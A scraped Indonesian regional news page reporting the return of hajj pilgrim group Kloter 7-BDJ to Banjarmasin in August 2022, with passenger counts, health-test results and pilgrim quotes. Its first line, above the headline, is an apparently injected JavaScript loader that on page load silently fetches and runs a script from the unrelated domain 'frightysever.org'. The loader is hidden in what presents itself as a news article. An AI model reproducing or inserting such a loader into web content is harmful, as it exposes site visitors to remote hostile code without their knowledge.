(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jemaah Haji Kloter 7-BDJ Tiba di Debarkasi Banjarmasin, 2.504 Jemaah Kalsel-Kalteng Sudah Dipulangkan


KANALKALIMANTAN.COM, BANJARBARU – Jemaah haji asal Kalimantan Selatan (Kalsel) dan Kalimantan Tengah (Kalteng) mendarat di Bandara Syamsuddin Noor sekira pukul 11.30 Wita, Selasa (2/8/2022).

Jemaah yang tergabung dalam Kloter 7-BDJ tiba di Debarkasi Banjarmasin menggunakan 10 bus yang membawa jemaah haji asal Banjarmasin, Tanah Bumbu, Banjar dan Kota Palangkaraya.

Sebanyak 358 jemaah diberangkatkan dari Bandara Pangeran Mohammad bin Abdul Aziz Madinah menggunakan maskapai Garuda Indonesia nomor penerbangan GA8207.

Kepala Kantor Kemenag Kalsel, Muhammad Thambrin mengatakan, total jemaah haji Kloter 7-BDJ sebanyak 358 orang.

 

Baca juga : Pengendara Vario Tewas di Jalan A Yani Banjarbaru Polisi Sebut Laka Lantas Tunggal

“Berasal dari Kota Banjarmasin 168 jemaah, Banjar 148 jemaah, Tanah Bumbu 2 jemaah, Kota Palangkaraya 34 jemaah, dan 4 Petugas Kloter dan 2 PHD,” sebutnya.

Dengan kedatangan Kloter 7-BDJ hingga sekarang total jemaah haji yang datang ke Banua berjumlah 2.504 jemaah haji dan petugas haji.

“Kalimantan Selatan 1.758 jemaah dan Kalimantan Tengah 752 jemaah,” sebutnya.

Masih kata Thambrin dirinya membeberkan hingga saat ini ada 3 jemaah haji yang meninggal dunia.

 

Baca juga  : Rapimnas JMSI Bahas Perampingan Kepengurusan hingga Keanggotaan

Sementara itu, Kepala Bidang Kesehatan PPIH Embarkasi Banjarmasin, Bambang Priyanto mengatakan, dari 358 jemaah yang tes antigen semuanya negatif.

“Alhmadulillah, untuk Kloter terakhir ini semuanya negatif,” ujarnya.

Dikatakan Bambang, sama halnya dengan Kloter sebelumnya semua jemaah haji dites antigen yang memakan waktu kurang lebih 30 menit untuk melakukan tes antigen kepada 358 jemaah haji.

“Jika ada jemaah haji yang merasa sakit langsung dilarikan ke poliklinik Debarkasi Banjarmasin untuk dilakukan observasi,” tuntasnya.

 

Baca juga  : 90 Nasabah Bank Kalsel Kena Skimming, Dosen IT Ini Ragukan Klaim Skimming

Sementara jemaah haji, H Herliansyah dirinya mengatakan sangat puas dengan pelayanan dari PPIH maupun pihak Garuda Indonesia.

Dibeberkan H Herliansyah pada saat melaksanakan ibadah haji dirinya mendapat gangguan kesehatan.

“Rata-rata jemaah haji terkena flu sama batuk,” ujar jemaah haji asal Kota Banjarmasin ini.

Masih kata Herliansyah, cuaca saat melaksanakan ibadah haji sangat panas, namun sudah diantisipasi para PPIH Banjarmasin

“Jadi sudah diantisipasi seperti memakai air spray dan diberikan vitamin,” tuntasnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.